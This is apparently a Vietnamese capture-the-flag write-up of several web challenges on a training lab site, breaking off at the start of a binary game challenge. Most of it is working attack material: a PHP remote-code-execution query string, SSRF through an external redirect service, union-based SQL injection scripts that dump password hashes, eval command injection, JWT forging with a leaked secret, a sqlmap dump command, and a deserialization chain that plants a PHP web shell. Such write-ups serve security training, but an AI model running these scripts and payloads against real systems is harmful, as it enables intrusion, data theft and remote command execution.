Week 1

Challenge: Iox Framework

Phân tích source code (iox-src.zip)

index.php:
- Mục đích chính là load module: example (file example.php) và sau đó thực thi.

modules/example.php:
- Tạo một đối tượng là $exampleController với class ExampleController được kế thừa từ CoreController, sau đó đối tượng này gọi đến method run() từ class CoreController.

iox-libraries/controller.php:
- Class CoreController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Core controller of iox framework
abstract class CoreController {
protected $config = [
"default_filters" => array("isString", "preventXSS")
];

public function __construct($filters = []) {
// Developer can defind their own filtering or use iox framework's default filtering
if (!empty($filters))
$this->filters = $filters;
else
$this->filters = $this->config['default_filters'];

// Validating untrusted data $_REQUEST at the begining. Then, developer can use it safely
foreach($_REQUEST as &$param) {
$this->validateInput($param);
}
}

public function run() {
if (isset($_REQUEST["action"]))
$action = $_REQUEST["action"];
else
$action = 'index';

// Call method with validated data
$status_code = $this->{$action}($_REQUEST);
http_response_code($status_code);
}

public function validateInput(&$input) {
foreach($this->filters as $filter) {
if (is_callable($filter)) {
$input = call_user_func($filter, $input);
}
}
return $input;
}
}
  1. Method run() được gọi từ module example thông qua đối tượng $exampleController, nó nhận tham số action từ $_REQUEST (do người dùng kiểm soát) và gọi hàm tương ứng $this->{$action}($_REQUEST).

  2. Nếu chúng ta truyền ?action=__construct, ứng dụng sẽ gọi lại hàm khởi tạo $this->__construct($_REQUEST).

  3. Ở trong hàm __construct($filters = []), tham số $filters của mảng sẽ gán thành $_REQUEST thay vì mặc định. Do đó $this->filters = $_REQUEST.

  4. Cũng ở hàm __construct, nó sẽ lặp qua tất cả phần tử của $_REQUEST và đút vào hàm validateInput($param).

  5. Ở hàm validateInput, ứng dụng lại lặp qua các filter trong $this->filters (lúc này lại đang chính là $_REQUEST) và nếu filter nào là một hàm hợp lệ (ví dụ: system, exec), nó sẽ gọi call_user_func($filter, $input).

PoC

  • Nếu truyền /?action=__construct&a=system&b=id, $_REQUEST sẽ chứa [action=__construct, a=system, b=id]. Khi validate, nó sẽ lấy các hàm hợp lệ trong $_REQUEST (ở đây là system) và gọi với từng giá trị tham số khác (bao gồm giá trị id). Do đó, hàm system('id') sẽ được trigger!

Flags và Eggs

  • Flag thì ở chỗ đơn giản dễ tìm là thư mục root
    • /?action=__construct&a=system&b=cat /flag.txt

CBJS{https://blog.sucuri.net/2019/04/thinkphp-5-x-remote-code-execution.html}

  • Egg thì ở vị trí khó tìm hơn là /usr/bin, có thể mục đích mà tác giả để egg ở đây vì /usr/bin là thư mục chứa chương trình dùng chung cho hệ thống và nơi này có thể chứa các chương trình có quyền hạn cao, có thể tận dụng để leo thang đặc quyền
    • /?action=__construct&a=system&b=cat /usr/bin/egg

EGG{Wh4t_4r3_y0u_f1nd1ng_1n_th1s_pl4c3??}

Challenge: Meme

Thông tin về challenge

  • Thử thách này có 2 tính năng chính được public là:
    • Cho phép upload các file có định dạng ảnh lên server. (/upload)
    • Cho phép chỉnh sửa profile cá nhân, trong đó có tính năng lấy ảnh từ url do người dùng cung cấp. (/profile/edit)

Khai thác lỗ hổng từ các tính năng của challenge

username admin tại endpoint /profile/edit

  • Mình đã thử FUZZ nhiều payload ở tính năng upload file, tuy nhiên vẫn chưa thấy được bất kì lỗ hổng tiềm năng nào nên chuyển sang tập trung vào tính năng chỉnh sửa profile.
  • Ở trường useranme tại endpoint /profile/edit mình đã thử Blind SQLi, Blind XSS,… nhưng có vẻ cũng không nhận được bất kì phản hồi nào đáng chú ý. Tuy nhiên khi mình thử đổi username thành admin với suy nghĩ là nếu server vẫn chấp nhận cho phép 1 người dùng bình thường đổi tên là admin thì người dùng này có thể upload các file ảnh với author là admin cho người dùng khác, điều đó, có thể khiến họ tưởng đó là 1 file ảnh quan trọng gì đó do admin đăng lên rồi tin tưởng và tải về, nếu file ảnh đó là mã độc thì điều đó khá nguy hiểm.
  • Và thật sự thì mình đã nhận được 1 Egg cho ý tưởng này:

EGG{4r3_y0u_go1ng_t0_ph1sh1ng_s0m3_on3??}

SSRF với payload redirect tại tính năng fetch ảnh dựa vào url ở /profile/edit

  • Challenge có 1 endpoint /admin bị 403 khi truy cập từ mạng ngoài vì vậy mình đã thử ssrf tại tính năng cập nhật ảnh đại diện để xác định xem có thể truy cập vào /admin hay không.
  • Mình đã thử nhiều payload ssrf như http://127.0.0.1, http://localhost, http://localh.st, http://127.1, file:///etc/passwd, … tuy nhiên tất cả đều bị từ chối.
  • Đoạn này thì mình đoán được backend khả năng đang dùng một hàm nào đó để phân giải domain thành địa chỉ IP và check xem IP đó có thuộc IP local không và mình đã thử dùng https://httpbun.com/redirect-to?url=http://127.0.0.1/admin thì nó đã thật sự hoạt động, khi fetch payload trên thì nó sẽ redirect về url được chỉ định http://127.0.0.1/admin.

image

  • Trang admin này có tính năng search meme, thử search ‘a’ thì server trả về:

image

  • Muốn xem nội dung 1 file ảnh thì GET /admin?action=view&name=flag_69ddbee9a81fa4.11529910.png (view source html của /admin)
  • Đọc file flag_69ddbee9a81fa4.11529910.png, mình lấy được flag:

CBJS{n0w_y0u_c4n_d0_s0m3_m0r3_w1th_ssrf}

  • Đọc file img_a1b2c3d4e5f6a.21458730.png, mình lấy được egg:

EGG{St34l_d4t4_fr0m_4dm1n_t0_g3t_m0r3_futh3r}

  • Mình đã thử thay đổi value của param action thành các giá trị như delete, edit, read, write, download,… thì khi đổi thành download server trả về thêm 1 egg nữa:

EGG{F1nd_s0me_h1dd3n_t0_h4v3_m0r3_4tt4ck_surf4c3}

  • PoC cho các flags và eggs trên:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import urllib.request
import urllib.parse
import sys

s = requests.Session()
TARGET = 'https://meme.league.cyberjutsu-lab.tech'
URI = urllib.parse.quote(sys.argv[1], safe="")

def get_csrf():
r = s.get(url=TARGET+'/login')
csrf_value = r.text.split('name="csrf_token" value="')[1].split('">')[0]
return csrf_value

def login(csrf, email, password):
data = {'csrf_token': csrf, 'email': email, 'password': password}
s.post(url=TARGET+'/login', data=data)

def gen_ssrf_payload(uri):
url = f'https://httpbun.com/redirect-to?url=http://127.0.0.1/{uri}'
print(url)
return url

def edit_profile(name, avatar_name, csrf_token):
data = {'csrf_token': csrf_token, 'name': name, 'avatar_name': avatar_name}
s.post(url=TARGET+'/profile/edit', data=data)

def get_uri_data():
r = s.get(url=TARGET+'/profile')
uri_data = r.text.split('<img src="')[1].split('"')[0]
return uri_data

def render_uri_data(uri_data):
with urllib.request.urlopen(uri_data) as response:
image_bytes = response.read().decode()
print(image_bytes)

csrf_value = get_csrf()
login(csrf=csrf_value, email='tester@gmail.com', password='Vip@@123')
ssrf_payload = gen_ssrf_payload(uri=URI)
edit_profile(name='pentester', avatar_name=ssrf_payload, csrf_token=csrf_value)

render_uri_data(get_uri_data())
# python3 dump_admin_page_ssrf.py "admin?action=view&name=flag_69ddbee9a81fa4.11529910.png" > test.html --> CBJS{n0w_y0u_c4n_d0_s0m3_m0r3_w1th_ssrf}
# python3 dump_admin_page_ssrf.py "admin?action=view&name=img_a1b2c3d4e5f6a.21458730.png" > test.html --> EGG{St34l_d4t4_fr0m_4dm1n_t0_g3t_m0r3_futh3r}
# python3 dump_admin_page_ssrf.py "admin?action=download" > test.html --> EGG{F1nd_s0me_h1dd3n_t0_h4v3_m0r3_4tt4ck_surf4c3}
  • Mình tiếp tục thử test bug ở tính năng search meme của trang admin thì phát hiện bug SQL Injection.
  • Sử dụng /admin?search=xxxxx' OR 1=1-- thì server trả về toàn bộ meme trong database.
  • Và tiếp tục đào sâu hơn, bằng script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import urllib.request
import urllib.parse
import sys

s = requests.Session()
TARGET = 'https://meme.league.cyberjutsu-lab.tech'
URI = urllib.parse.quote(sys.argv[1], safe="")
URI = urllib.parse.quote(URI, safe="")

def get_csrf():
r = s.get(url=TARGET+'/login')
csrf_value = r.text.split('name="csrf_token" value="')[1].split('">')[0]
return csrf_value

def login(csrf, email, password):
data = {'csrf_token': csrf, 'email': email, 'password': password}
s.post(url=TARGET+'/login', data=data)

def gen_ssrf_payload(uri):
url = f'https://httpbun.com/redirect-to?url=http://127.0.0.1/admin?search={uri}'
print(url)
return url

def edit_profile(name, avatar_name, csrf_token):
data = {'csrf_token': csrf_token, 'name': name, 'avatar_name': avatar_name}
s.post(url=TARGET+'/profile/edit', data=data)

def get_uri_data():
r = s.get(url=TARGET+'/profile')
uri_data = r.text.split('<img src="')[1].split('"')[0]
return uri_data

def render_uri_data(uri_data):
with urllib.request.urlopen(uri_data) as response:
image_bytes = response.read().decode()
print(image_bytes)

csrf_value = get_csrf()
login(csrf=csrf_value, email='tester@gmail.com', password='Vip@@123')
ssrf_payload = gen_ssrf_payload(uri=URI)
edit_profile(name='pentester', avatar_name=ssrf_payload, csrf_token=csrf_value)

render_uri_data(get_uri_data())
# python3 dump_db_sqli.py "x' UNION ALL SELECT id, NULL, email, name, NULL, password_hash FROM users -- -" > test.html --> EGG{W3_are_H3R3_t0_g3t_m0r3_d4t4_fr0m_y0u}
# python3 dump_db_sqli.py "x' UNION ALL SELECT id, NULL, name, value, NULL, 'mystery' FROM mystery -- -" > test.html --> CBJS{g3t_Deep3r_1nt0_Myst3ry_b0x}
  • Script trên sử dụng kĩ thuật SQLi Union-based để dump db.
  • Một Flag ở mystery table:

CBJS{g3t_Deep3r_1nt0_Myst3ry_b0x}

  • Một Egg ở password_hash của user RedTeam:

EGG{W3_are_H3R3_t0_g3t_m0r3_d4t4_fr0m_y0u}


Week 2

Challenge: PHP Lixi

  • Bài này là một web challenge PHP với core bug là eval() trên input user, nhưng có blacklist khá gắt và giới hạn payload chỉ 30 ký tự. Hướng giải là biến PHP code injection thành command execution bằng backtick, sau đó dùng wildcard để né regex.

Phân tích source code

1
2
3
4
5
6
7
8
9
<?php
if($_GET['👉🏻'] == '👌🏻') die(phpinfo());
$_ = $_GET['⁣'];
highlight_file(__FILE__);

if(preg_match("/[\w]{4,}/is",$_) || preg_match("/\[|\"|'|\||\^|~|\./is",$_))
die("🙅");

eval(substr($_,0,30));
  • Bug nằm ở:
1
eval(substr($_,0,30));
  • Tức là input được eval() và chỉ lấy tối đa 30 ký tự đầu. Ngoài ra còn có thêm blacklist chặn:
    • Mọi chuỗi \w dài từ 4 ký tự trở lên
    • các ký tự [, ", ', |, ^, ~, .
    • Regex chính:
1
preg_match("/[\w]{4,}/is", $_)
  • Điều này có nghĩa là bất kỳ đoạn nào gồm 4 ký tự word liên tiếp đều bị chặn, ví dụ:
1
2
3
4
system
exec
flag
proc
  • Nên muốn exploit thì phải:

    • dùng primitive PHP ngắn
    • tránh mọi word 4 ký tự liên tiếp
    • tránh quote
    • tránh dấu .
  • Payload pattern: die(`COMMAND`)?>

  • Mình kết thúc payload trên bằng ?> thay vì ; vì lúc test ; nó bị lỗi nên chuyển sang dùng ?> thì ổn định hơn. (ta vẫn có thể đóng PHP mode bằng: ?>)

  • Payload thực tế gửi qua param tên là ký tự invisible U+2063, tức: %E2%81%A3

  • Nên request có dạng:

1
?%E2%81%A3=die(%60COMMAND%60)?%3E
  • Đoạn này:
1
$_ = $_GET['⁣'];
  • Nhìn như key đang là chuỗi rỗng nhưng thực ra không phải.
  • Ký tự nằm giữa 2 dấu ' là:
1
2
U+2063
INVISIBLE SEPARATOR
  • Nó là một ký tự Unicode đặc biệt, gần như không hiện ra trên màn hình.
  • Nên về mặt logic, code này tương đương:
1
$_ = $_GET["<ký tự U+2063>"];
  • Tức là server đang đọc parameter có tên đúng bằng ký tự đó.

  • Vì sao URL lại thành %E2%81%A3 ?

  • URL không gửi trực tiếp mọi ký tự Unicode thô một cách an toàn. Nó thường dùng percent-encoding.

  • Với U+2063:

    • codepoint Unicode là 2063
    • UTF-8 bytes của nó là: E2 81 A3
  • Khi đưa vào URL, mỗi byte sẽ thành %xx: %E2%81%A3

  • Ví dụ test RCE: die(`id`)?>

Flags và Eggs

  • Flag nằm ở /FLAG

Payload:

1
die(`cat /F*`)?>

Kết quả:

CBJS{…evallll_everything_86afff7f80c784e2}

  • Một Easter Egg thật nằm ở: /tmp/hidden/egg

Payload:

1
die(`cat /t*/h*/*`)?>

Kết quả:

EGG{d717c323f431e152af726a14413c530a}

  • Từ phpinfo() có thêm một EGG:

EGG{39bde2dbc52c36f90fd49ba30b573b70}

  • Có thể thấy qua:
1
?👉🏻=👌🏻

Challenge: Cybershare

  • Challenge có 3 target:
    • cybershare.league.cyberjutsu-lab.tech: server cho phép upload ảnh.
    • cybermail.league.cyberjutsu-lab.tech: server tạo email để đăng ký tài khoản cybershare.
    • xssbot-cybershare.league.cyberjutsu-lab.tech: bot chứa flag xss.

cybershare.league.cyberjutsu-lab.tech

  1. IDOR
  • Tại endpoint /user.php/<username> xuất hiện bug IDOR và có thể dùng bug này để xem tất cả các ảnh của 1 username bất kì trên cybershare.
  • Mình thử truy cập /user.php/admin thì lấy được egg đầu tiên.

image

EGG{k33p_t0_3num3r4t3_us3r_t0_f1nd_m0r3_l34k_d4t4}


  1. XSS
  • Tiếp theo thì mình thử tính năng upload của server tại /upload.php, vì server được code bằng php và còn theo file based nên mình đã thử upload một vài file payload php nhưng đều fail. Mình chuyển sang upload file png, gif thì được chấp nhận. Kế tiếp, mình thử thêm payload php như <?php phpinfo() > vào nội dung của file ảnh đó và chuyển extension về .php, .phtml, .gif.php, … Tín hiệu tốt là server đã tiếp nhận các file này tuy nhiên khi thử truy cập vào các file này ở /upload/<random>.php hoặc /helper/img.php/upload/<random>.png thì response được trả về chỉ là nội dung tĩnh không được thực thi, tuy nhiên khi mình quan sát gói tin được trả về thì nó có set header Content-Type: text/plain, và mình thử thêm nội dung payload html vào 1 file ảnh mới và upload với extension là <random>.png, truy cập vào vị trí của file ảnh này thì thấy header được set là Content-Type: text/html và payload xss đó thật sự được trình duyệt thực thi. Tới đây thì mình hoàn toàn có thể dùng bug XSS này để lấy flag từ bot.

CBJS{bf2b44baca4910ce35919fdc6b466bda}

Note > Vì server đã down nên mình không có ảnh để tái hiện lại bug XSS này và mình cũng quên lưu lại ảnh về bug này nữa. Hi vọng các bạn thông cảm.


  1. LFD (Local File Disclosure)
  • Có một endpoint khá đặc biệt là /helper/img.php/upload/<random>.png endpoint này đag có vẻ nhận một path trên url (upload/<random>.png) làm đầu vào cho một hàm đọc nội dung file và trả về cho người dùng, nên mình đã thử thay upload/<random>.png thành config.php thì nhận được egg và flag tiếp theo.

image

CBJS{de31c48105721f6695fb7d3f68f3b387}
EGG{0h_y0u_f1nd_m3_th1s_1s_s3cr3t_k3y_th4t_n33d_t0_f1nd}

  • Mình cũng đã thử một số payload như ../../../../../etc/passwd, /etc/passwd, %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd, double encode url, … nhưng cũng chưa thể đọc sâu hơn ngoài /var/www/html.
  • Và tận dụng lỗ hổng này mình đã có thể dump nội dung một vài file code của chương trình để tiếp tục tìm bug.

  1. Force JWT by leaked key from config.php
  • Nội dung file myphoto.php được leak từ bug LFD:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include('helper/jwt.php');

if (!isset($_COOKIE['cybershare_jwt']) || !validateToken($_COOKIE['cybershare_jwt']))
exit(header('Location: index.php'));

$jwt = parseToken($_COOKIE['cybershare_jwt']);

include('libs/PhotoManager.php');
$photo_manager = new PhotoManager();
$thumbnails = $photo_manager->get_photo_stream($jwt['user']);
?>

<?php include('templates/header.php'); ?>

<div class="container">
<div class="row mt-3 text-black">
<h3> My photos </h3>
</div>
<div class="row justify-content-around align-items-center">
<?php
if ($jwt['user'] === 'cybercat') {
$secret = getenv("FLAG_4");
echo '<h2 class="text-center">' . $secret . '</h2>';
}

if (count($thumbnails) == 0) {
echo '<h5 class="text-center">No photos found, try <a href=\'/upload.php\'> upload a photo</a></h5>';
}
else {
foreach ($thumbnails as $thumbnail) {
$photo = new Photo($thumbnail);
echo $photo->get_thumbnail_card();
}
}
?>
</div>
</div>

<?php include('templates/footer.php'); ?>
  • Có một đoạn code kiểm tra nếu user trong jwt là cybercat thì sẽ trả về thêm 1 flag nữa nên mình có thể tạo 1 jwt với là user này và sign bằng secret key là EGG{0h_y0u_f1nd_m3_th1s_1s_s3cr3t_k3y_th4t_n33d_t0_f1nd}.

CBJS{c8e5222d6e7557b24b3efb02bee29212}


  1. SQLi
  • error.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include('../libs/ReportManager.php');
$report_manager = new ReportManager();

$type = $_GET['type'];
switch ($type) {
case "detail":
$report_manager->insert_log($_SERVER["REMOTE_ADDR"], $_SERVER["HTTP_USER_AGENT"], "Detail page not found");
exit(header('Location: /404.php'));
break;
default:
$report_manager->insert_log($_SERVER["REMOTE_ADDR"], $_SERVER["HTTP_USER_AGENT"], "Unknown error");
exit(header('Location: /index.php'));
break;
}

Method insert_log của $report_manager nhận trực tiếp value là header USER_AGENT.

  • ReportManager.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include_once('DatabaseConnection.php');
class ReportManager extends DatabaseConnection
{
private $log_table = 'error_log';

public function insert_log($ip, $user_agent, $error)
{
$query = $this->connection->prepare("INSERT INTO `$this->log_table` (ip, user_agent, error) VALUES ('$ip', '$user_agent', '$error')");
$query->execute();
$query->close();
}
}

Mặc dù có gọi prepare(), nhưng code trên lại không dùng tham số bind (?) và còn đang nhét trực tiếp biến vào chuỗi SQL trước khi prepare:

1
2
3
4
$query = $this->connection->prepare(
"INSERT INTO `$this->log_table` (ip, user_agent, error)
VALUES ('$ip', '$user_agent', '$error')"
);

Nghĩa là PHP sẽ tạo xong câu SQL đầy đủ trước:

1
2
INSERT INTO `error_log` (ip, user_agent, error)
VALUES ('1.1.1.1', 'Mozilla...', 'some error')

Nếu $user_agent chứa ký tự độc hại, nó đã nằm sẵn trong SQL rồi. prepare() lúc này chỉ “chuẩn bị” câu SQL đã bị chèn, chứ không tự động làm sạch.

Ví dụ attacker gửi User-Agent như này:

1
abc', 'x', 'hacked') -- 

Thì câu SQL có thể bị biến dạng thành:

1
2
INSERT INTO `error_log` (ip, user_agent, error)
VALUES ('1.1.1.1', 'abc', 'x', 'hacked') -- ', 'error')
  • Để exploit nhanh bug blind SQLi ở User-Agent này thì mình đã sử dụng SQLmap:
1
2
3
4
5
6
7
8
9
10
11
sqlmap -u "https://cybershare.league.cyberjutsu-lab.tech/helper/error.php?type=detail" --batch --level=5 --risk=3 --technique=BT --dbms=mysql --threads=10 -H "User-Agent: *" -D cybershare_db -T photo_manager -C photo --dump

Database: cybershare_db
Table: photo_manager

[1 entry]
+----------------------------------------+
| photo |
+----------------------------------------+
| CBJS{eb0ef478e07fd125cbe093c240565e71} |
+----------------------------------------+

CBJS{eb0ef478e07fd125cbe093c240565e71}


cybermail.league.cyberjutsu-lab.tech

  1. Leaked source code
  • Dirsearch phát hiện file config.ini bị public và thư mục .git/ bị lộ. Từ các loose objects trong .git/objects/, mình reconstruct được source code của repository bằng cách lần theo HEAD -> commit -> tree -> blob.
  • config.ini
1
JWT_SECRET_KEY="u6rMSwIOiHIJO2GiFiq2zJ86o1b1Ex2A"

  1. Deserialize PHP
  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include('helper/jwt.php');

if (!isset($_COOKIE['cybermail_jwt']) || !validateToken($_COOKIE['cybermail_jwt'])) {
include('templates/landing.php');
} else {
$jwt = parseToken($_COOKIE['cybermail_jwt']);
if ($jwt['isAdmin'] === True)
include('templates/admin.php');
else
include('templates/user.php');
}

Nếu $jwt['isAdmin'] === True thì include templates/admin.php.

  • admin.php có đoạn code:
1
<?php $egg = getenv("EGG_4"); echo $egg; ?>

Nếu ta có force được một jwt có isAdmin là True thì có thể lấy được thêm 1 egg nữa.

  • jwt.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
require_once(__DIR__ . '/../vendor/autoload.php');

use Firebase\JWT\JWT;
use Firebase\JWT\Key;

function generateToken($user, $is_admin)
{
$key = parse_ini_file(__DIR__ . "/../config.ini")["JWT_SECRET_KEY"];
$data = serialize([
"user" => $user,
"isAdmin" => $is_admin
]);
$token = JWT::encode(array($data), $key, 'HS256');
return base64_encode($token);
}

function validateToken($token)
{
$token = base64_decode($token);
$key = parse_ini_file(__DIR__ . "/../config.ini")["JWT_SECRET_KEY"];
try {
JWT::decode($token, new Key($key, 'HS256'));
return true;
} catch (Exception $e) {
return false;
}
}

function parseToken($token)
{
$token = base64_decode($token);
$key = parse_ini_file(__DIR__ . "/../config.ini")["JWT_SECRET_KEY"];
try {
$decoded = JWT::decode($token, new Key($key, 'HS256'))->{"0"};
return unserialize($decoded);
} catch (Exception $e) {
return false;
}
}
  • Hàm parseToken xuất hiện lỗ hổng nghiêm trọng khi đưa dữ liệu do người dùng kiểm soát (jwt token) vào hàm unserialize tạo điều kiện cho kẻ tấn công có thể tận dụng có class có sẵn trong chương trình để tạo POP chain nhằm RCE.

  • Đầu tiên thì mình sẽ tận dụng bug này để tạo user có quyền admin (isAdmin === True) để lấy egg.

  • PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import json
import hmac
import hashlib
import base64
import requests
import re

SECRET_KEY = b"u6rMSwIOiHIJO2GiFiq2zJ86o1b1Ex2A"
TARGET = 'https://cybermail.league.cyberjutsu-lab.tech'

def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def create_jwt_array(payload_array):
header = {
"alg": "HS256",
"typ": "JWT"
}

header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = b64url(json.dumps(payload_array, separators=(",", ":")).encode())

signing_input = f"{header_b64}.{payload_b64}".encode()

sig = hmac.new(
SECRET_KEY,
signing_input,
hashlib.sha256
).digest()

sig_b64 = b64url(sig)

return f"{header_b64}.{payload_b64}.{sig_b64}"


token = create_jwt_array([
'a:2:{s:4:"user";s:19:"admin@cybermail.com";s:7:"isAdmin";b:1;}'
])

cookie = {'cybermail_jwt': b64url(token.encode())}
r = requests.get(url=TARGET, cookies=cookie)

egg = re.search(r"EGG\{.+?\}", r.text)[0]
print(f'[*] EGG: {egg}')

EGG{S0m3_th1ng_br34k_d0wn_wh3n_y0u_us3_jwt_k3y}

  • Tiếp theo mình sẽ tận dụng các class đang có sẵn trong chương trình, đọc file Dockerfile thì có một đoạn tải 2 thư viện là firebase/php-jwt:6.8.0, swiftmailer/swiftmailer:6.0.0.
1
2
3
4
RUN curl -sS https://getcomposer.org/installer | php && \
echo '{"config":{"audit":{"abandoned":"ignore","ignore":["PKSA-y2cr-5h3j-g3ys","PKSA-tzjk-yn1s-49ds"]}}}' > composer.json && \
php composer.phar require firebase/php-jwt:6.8.0 --no-audit && \
php composer.phar require swiftmailer/swiftmailer:6.0.0 --no-audit
  • Mình sẽ sử dụng phpggc để kiểm tra đã có POP chain cho 1 trong 2 thư viện này hay chưa, và sau khi kiểm tra thì thư viện swiftmailer đã có POP chain cho version 6.0.0.
1
2
3
4
5
6
7
8
└─$ phpggc -l | grep SwiftMailer                                           
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FD2 5.4.6 <= 5.x-dev File delete __destruct *
SwiftMailer/FR1 6.0.0 <= 6.3.0 File read __toString
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
  • Ver 6.0.0 có 2 bản POP chain cho cả File read và File write và được trigger nhờ __toString.

  • checktoken.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_POST["token"])) {
include('helper/jwt.php');
$jwt = parseToken($_POST["token"]);
if (is_array($jwt)) {
echo ("Username: " . htmlspecialchars($jwt["user"]) . ", Is_admin: " . htmlspecialchars($jwt["isAdmin"]));
} elseif ($jwt) {
echo $jwt;
} else {
echo ("Invalid token");
}
}

Payload được unserialize sẽ được echo nên ta cần tìm POP chain được trigger thông qua method __toString.

  • PoC để RCE

~/hacking_tools/payload_php/cbjs_xxxx.php

1
<?php system($_GET['cmd']); ?>

~/hacking_tools/payload_php/cbjs_db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Database
{
private $connection;

public function __construct(
$host = null,
$user = null,
$pass = null,
$name = null,
$charset = 'utf8'
) {
$host = $host ?? getenv('CYBERMAIL_HOST');
$user = $user ?? getenv('CYBERMAIL_USER');
$pass = $pass ?? getenv('CYBERMAIL_PASSWORD');
$name = $name ?? getenv('CYBERMAIL_DATABASE');
$this->connection = new mysqli($host, $user, $pass, $name);
$this->connection->set_charset($charset);
}

public function execute_query($statement)
{
$query = $this->connection->prepare($statement);
$query->execute();
$results = $query->get_result();
$rows = $results->fetch_all(MYSQLI_ASSOC);
$query->close();
return $rows;
}

public function __destruct()
{
$this->connection->close();
}
}
$db = new Database();

$results = $db->execute_query($_GET['cmd']);
var_dump($results);

unserialize_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import requests
import sys
import subprocess
import json
import hmac
import hashlib
import base64

SECRET_KEY = b'u6rMSwIOiHIJO2GiFiq2zJ86o1b1Ex2A'
TARGET = 'https://cybermail.league.cyberjutsu-lab.tech'

MODE = sys.argv[1]

def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def create_jwt(serialized_data: str) -> str:
header = {"alg": "HS256", "typ": "JWT"}
payload = [serialized_data]

header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = b64url(json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode("utf-8"))
signing_input = f"{header_b64}.{payload_b64}".encode()

sig = hmac.new(SECRET_KEY, signing_input, hashlib.sha256).digest()
sig_b64 = b64url(sig)
return f"{header_b64}.{payload_b64}.{sig_b64}"

def create_phpggc_swiftmailer():
if MODE == "read":
PATH_TO_READ = sys.argv[2]
return subprocess.check_output(
["phpggc", "SwiftMailer/FR1", PATH_TO_READ],
stderr=subprocess.DEVNULL
)
elif MODE == 'write':
REMOTE_PATH = sys.argv[2]
LOCAL_PATH = os.path.abspath(os.path.expanduser(sys.argv[3]))
return subprocess.check_output(
["phpggc", "SwiftMailer/FW2", REMOTE_PATH, LOCAL_PATH],
stderr=subprocess.DEVNULL
)
raise ValueError("unsupported mode")

def send_payload():
gadget = create_phpggc_swiftmailer().decode("latin-1").strip()
# print(gadget)
token_jwt = create_jwt(gadget)
wrapped = base64.b64encode(token_jwt.encode()).decode()

r = requests.post(TARGET+'/checktoken.php', data={"token": wrapped}, timeout=20)
if MODE == 'read':
print(r.text)
elif MODE == 'write':
CMD = sys.argv[4]
local_file = os.path.basename(
os.path.abspath(os.path.expanduser(sys.argv[3]))
)
data = {'cmd': CMD}
res = requests.get(url=TARGET+f'/upload/{local_file}', params=data)
print(res.text)

send_payload()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python3 unserialize_exploit.py write /var/www/html/upload/cbjs_xxxx.php ~/hacking_tools/payload_php/cbjs_xxxx.php "cat /flag.*" --> CBJS{9809d56b37cb4ca803078940da2011c3}
python3 unserialize_exploit.py write /var/www/html/upload/cbjs_xxxx.php ~/hacking_tools/payload_php/cbjs_xxxx.php "cat /home/mailer/.ssh/authorized_keys" --> EGG{Th1s_1s_wh3r3_y0u_n33d_t0_f1nd_f0r_m0v3m3nt}

python3 unserialize_exploit.py write /var/www/html/upload/cbjs_db.php ~/hacking_tools/payload_php/cbjs_db.php 'SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()'

array(1) {
[0]=>
array(1) {
["group_concat(table_name)"]=>
string(22) "account,data_mail,mail"
}
}

python3 unserialize_exploit.py write /var/www/html/upload/cbjs_db.php ~/hacking_tools/payload_php/cbjs_db.php 'SELECT * FROM data_mail'

array(1) {
[0]=>
array(2) {
["id"]=>
int(1)
["data"]=>
string(41) "EGG{Y0u_kn0w_h0w_t0_r3c0n_d4t4_t0_br34ch}"
}
}

CBJS{9809d56b37cb4ca803078940da2011c3}
EGG{Th1s_1s_wh3r3_y0u_n33d_t0_f1nd_f0r_m0v3m3nt}
EGG{Y0u_kn0w_h0w_t0_r3c0n_d4t4_t0_br34ch}

Week 4

Challenge: Co Ganh

Tổng quan

Lúc mới mở binary này ra, cảm giác đầu tiên của mình là đây chỉ là một game số chạy trên bàn cờ 5x5: chương trình in board, cho người chơi nhập row col value, rồi cập nhật trạng thái theo một luật nào đó.

Nhưng sau khi nhìn kỹ phần xử lý nước đi, mình thấy bug nằm ngay ở chỗ chương trình tin hoàn toàn input của người dùng. Nó dùng trực tiếp công thức:

1
board[5 * row + col] = value;

